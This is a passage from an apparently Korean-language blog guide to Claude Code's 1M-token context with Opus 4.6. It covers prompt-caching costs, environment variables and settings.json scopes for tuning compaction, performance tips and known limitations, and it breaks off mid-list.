&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;1M 컨텍스트의 실질적인 단점인 &lt;b&gt;응답 지연(TTFT)&lt;/b&gt;과 &lt;b&gt;반복 비용&lt;/b&gt;을 해결하는 핵심 기법이 &lt;b&gt;Prompt Caching&lt;/b&gt;이다. Opus 4.6에서 완전 지원되며, 대용량 컨텍스트 환경에서 효과가 극대화된다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;캐시 유형&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;요금 (Opus 4.6 기준)&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;효과&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;캐시 쓰기 (5분 TTL)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;$6.25/MTok (기본의 1.25배)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;최초 1회 캐싱 비용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;캐시 쓰기 (1시간 TTL)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;$10/MTok (기본의 2배)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;장기 세션에서 유리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;캐시 읽기&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #155724;&quot;&gt;&lt;b&gt;$0.50/MTok (기본의 10%)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #155724;&quot;&gt;&lt;b&gt;90% 비용 절감, 85% 레이턴시 절감&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Prompt Caching의 핵심 장점 &amp;mdash; Rate Limit 면제&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;cache_read_input_tokens&lt;/code&gt;는 ITPM(분당 입력 토큰 수) Rate Limit에 산입되지 않는다. 80% 캐시 히트율 기준으로 실질 처리량이 최대 5배 증가한다. 대규모 코드베이스를 반복 참조하는 세션에서는 Rate Limit 걱정 없이 여러 요청을 보낼 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;vala&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Prompt Caching 설계 권장 순서 (안정 &amp;rarr; 가변)
# 1. tools 정의 (가장 안정적 &amp;mdash; 캐시 히트율 최고)
# 2. system 프롬프트 (CLAUDE.md 내용 등)
# 3. 대용량 정적 문서 (코드베이스, 레퍼런스)
# 4. 동적 사용자 입력 (가장 마지막)

# cache_control 마킹 예시 (API 직접 사용 시)
{
  &quot;system&quot;: [
    {
      &quot;type&quot;: &quot;text&quot;,
      &quot;text&quot;: &quot;... 대용량 시스템 프롬프트 ...&quot;,
      &quot;cache_control&quot;: {&quot;type&quot;: &quot;ephemeral&quot;, &quot;ttl&quot;: 3600}
    }
  ]
}
# Claude Code에서는 자동으로 캐싱 적용됨 (별도 설정 불필요)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실전 활용 시나리오&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;시나리오 1: 레거시 시스템 현대화&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;10년 된 레거시 PHP 코드베이스를 현대적인 Python으로 전환하는 작업. 전체 소스 파일(약 300개, 50만 토큰)을 컨텍스트에 올려두고 일관성 있는 마이그레이션 계획을 수립할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;시나리오 2: 대규모 버그 추적&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;수만 줄의 에러 로그, 관련 소스 파일, 이전 수정 히스토리를 모두 컨텍스트에 올려두고 근본 원인을 분석. 이전에는 로그를 일부만 잘라서 제공해야 했다면, 이제는 전체 로그를 제공할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;시나리오 3: 장기 기능 개발&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;새로운 기능을 여러 파일에 걸쳐 개발할 때, Compaction 없이 수 시간의 세션을 유지할 수 있다. Claude가 초반에 논의한 설계 결정을 끝까지 기억하며 일관성을 유지한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5: 환경변수 설정 완전 가이드 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 환경변수 설정 완전 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code는 1M 컨텍스트와 관련된 여러 환경변수를 제공한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://code.claude.com/docs/en/env-vars&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code 공식 환경변수 문서&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;CLAUDE_CODE_DISABLE_1M_CONTEXT&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;1M 컨텍스트를 비활성화하는 opt-out 환경변수다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;변수명&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;CLAUDE_CODE_DISABLE_1M_CONTEXT&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;값&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;1&lt;/code&gt; (비활성화), 미설정 (활성화)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;효과&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;1M 컨텍스트 지원 비활성화. 모델 선택기에서 &lt;code&gt;[1m]&lt;/code&gt; 모델 변형 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;주요 용도&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;기업 컴플라이언스 요구사항, 비용 예측 가능성 확보, 규제 환경에서의 대용량 컨텍스트 제한&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;vala&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 방법 1: 쉘 환경변수로 설정 (해당 세션에만 적용)
export CLAUDE_CODE_DISABLE_1M_CONTEXT=1
claude

# 방법 2: settings.json에 영구 설정 (모든 세션에 적용)
# ~/.claude/settings.json
{
  &quot;env&quot;: {
    &quot;CLAUDE_CODE_DISABLE_1M_CONTEXT&quot;: &quot;1&quot;
  }
}

# 방법 3: 프로젝트별 설정 (해당 프로젝트에만 적용)
# .claude/settings.local.json
{
  &quot;env&quot;: {
    &quot;CLAUDE_CODE_DISABLE_1M_CONTEXT&quot;: &quot;1&quot;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Compaction 관련 환경변수&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;1M 컨텍스트를 완전히 끄지 않고 Compaction 동작만 조정하려면 다음 변수들을 활용한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;CLAUDE_AUTOCOMPACT_PCT_OVERRIDE&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;자동 Compaction 트리거 임계값을 백분율로 설정한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 기본값: 95% (950K/1M 토큰에서 Compaction 발생)
# 더 일찍 Compaction하려면 낮은 값 설정

export CLAUDE_AUTOCOMPACT_PCT_OVERRIDE=70
# 1M 모델에서 700K 토큰(70%) 도달 시 Compaction

# settings.json에 영구 설정
{
  &quot;env&quot;: {
    &quot;CLAUDE_AUTOCOMPACT_PCT_OVERRIDE&quot;: &quot;70&quot;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;CLAUDE_CODE_AUTO_COMPACT_WINDOW&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Compaction 계산에 사용할 토큰 윈도우 크기를 직접 지정한다. 기본값은 모델의 실제 컨텍스트 윈도우 크기다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 1M 모델을 사용하지만 Compaction은 500K 기준으로 트리거
export CLAUDE_CODE_AUTO_COMPACT_WINDOW=500000

# 95% 임계값 기준: 475K 토큰에서 Compaction 발생
# 단: 상태 표시줄은 여전히 1M 대비 % 표시 (약 47.5%에서 compaction)

# settings.json에 영구 설정
{
  &quot;env&quot;: {
    &quot;CLAUDE_CODE_AUTO_COMPACT_WINDOW&quot;: &quot;500000&quot;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;두 변수의 조합 공식&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Compaction 트리거 토큰 수 = &lt;code&gt;CLAUDE_CODE_AUTO_COMPACT_WINDOW&lt;/code&gt; &amp;times; &lt;code&gt;CLAUDE_AUTOCOMPACT_PCT_OVERRIDE&lt;/code&gt; / 100&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기본 (1M 모델): 1,000,000 &amp;times; 0.95 = &lt;b&gt;950,000 토큰&lt;/b&gt;에서 Compaction&lt;/li&gt;
&lt;li&gt;보수적 설정 (window=500K, pct=70): 500,000 &amp;times; 0.70 = &lt;b&gt;350,000 토큰&lt;/b&gt;에서 Compaction&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;CLAUDE_CODE_MAX_OUTPUT_TOKENS&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;최대 출력 토큰 수를 설정한다. 이 값을 높이면 응답이 길어지지만, 동시에 Compaction이 더 빨리 발생할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;vala&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# settings.json 전체 설정 예시 (보수적 long-session 프로파일)
{
  &quot;env&quot;: {
    &quot;CLAUDE_CODE_AUTO_COMPACT_WINDOW&quot;: &quot;700000&quot;,
    &quot;CLAUDE_AUTOCOMPACT_PCT_OVERRIDE&quot;: &quot;75&quot;
  }
}
# 결과: 525K 토큰에서 Compaction 발생 (안전한 여유 확보)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;settings.json 설정 방법&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;환경변수는 여러 범위(scope)에서 설정할 수 있다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;파일 위치&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;적용 범위&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;~/.claude/settings.json&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;모든 프로젝트, 모든 세션&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;사용자 전역 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;.claude/settings.json&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;해당 프로젝트의 모든 사용자&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;팀 공유 설정 (git 커밋 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;.claude/settings.local.json&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;해당 프로젝트의 본인만&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;로컬 개인 설정 (.gitignore 권장)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: 성능 최적화 팁 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 성능 최적화 팁&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;최적 컨텍스트 크기 &amp;mdash; 700~800K 권장&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GeekNews 등 개발자 커뮤니티에서는 1M 풀로 사용하는 것보다 &lt;b&gt;700~800K 수준에서 끊어 쓰는 것이 좋다&lt;/b&gt;는 경험적 의견이 있다. 이유는 다음과 같다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;안전 마진 확보:&lt;/b&gt; 900K 이상에서는 예상치 못한 컨텍스트 한계 도달 위험이 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;응답 속도:&lt;/b&gt; 컨텍스트가 클수록 응답 생성 시간이 늘어날 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Compaction 품질:&lt;/b&gt; 극단적으로 큰 컨텍스트의 Compaction은 더 많은 정보 손실을 초래할 수 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;커뮤니티 팁: 700~800K 실전 설정&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이 설정은 커뮤니티의 경험적 조언이며, Anthropic 공식 권장사항은 아니다. 개인의 워크플로우에 따라 최적값이 다를 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;vala&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 700~800K에서 Compaction 발생하도록 설정
# settings.json
{
  &quot;env&quot;: {
    &quot;CLAUDE_CODE_AUTO_COMPACT_WINDOW&quot;: &quot;800000&quot;,
    &quot;CLAUDE_AUTOCOMPACT_PCT_OVERRIDE&quot;: &quot;88&quot;
  }
}
# 결과: 800K &amp;times; 0.88 = 704K 토큰에서 Compaction 발생

# 대안: 직접 700K로 설정
{
  &quot;env&quot;: {
    &quot;CLAUDE_CODE_AUTO_COMPACT_WINDOW&quot;: &quot;700000&quot;,
    &quot;CLAUDE_AUTOCOMPACT_PCT_OVERRIDE&quot;: &quot;100&quot;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Compaction 임계값 튜닝&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;워크로드 특성에 따라 다른 설정이 적합하다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;시나리오&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;권장 설정&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;빠른 단기 작업&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;기본값 (95%)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Compaction 최소화, 대부분 완료 전에 한도 도달 안 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;장기 코딩 세션&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;70~80%&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;안전 마진 확보, Compaction 품질 향상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;기업/컴플라이언스 환경&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;DISABLE_1M=1 또는 낮은 COMPACT_WINDOW&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;대용량 컨텍스트 사용 제한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Agent Teams 운영&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;80~85%&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;서브에이전트에도 동일 적용, 안정적 운영&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;메모리 관리 전략&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;1M 컨텍스트를 효율적으로 사용하기 위한 실전 팁:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;CLAUDE.md 활용:&lt;/b&gt; 프로젝트 구조, 핵심 컨벤션을 CLAUDE.md에 기록하여 매번 컨텍스트를 낭비하지 않는다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;점진적 파일 로딩:&lt;/b&gt; 관련 파일만 필요할 때 읽도록 요청한다. 처음부터 모든 파일을 로드하면 컨텍스트를 낭비한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;세션 분리:&lt;/b&gt; 논리적으로 독립적인 작업은 별도 세션에서 진행한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;컨텍스트 확인:&lt;/b&gt; 상태 표시줄에서 정기적으로 컨텍스트 사용량을 확인한다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: 주의사항 및 제한 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 주의사항 및 제한&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;중요: 문서 불일치 주의&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 16일 현재, Anthropic의 일부 문서(특히 Help Center FAQ)가 최신 상태를 반영하지 않고 있다. FAQ는 아직 일부 Max 20x 사용자에게만 제한적으로 제공된다고 표시하지만, 플랫폼 릴리스 노트와 실제 서비스는 이미 GA 상태다. &lt;b&gt;최신 정보는 릴리스 노트를 기준으로 확인하자.&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;현재 알려진 제한사항&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;플랜 제한:&lt;/b&gt; Max, Team, Enterprise 플랜에서 Opus 4.6 1M이 기본 포함. Pro는 추가 사용량 필요&lt;/li&gt;
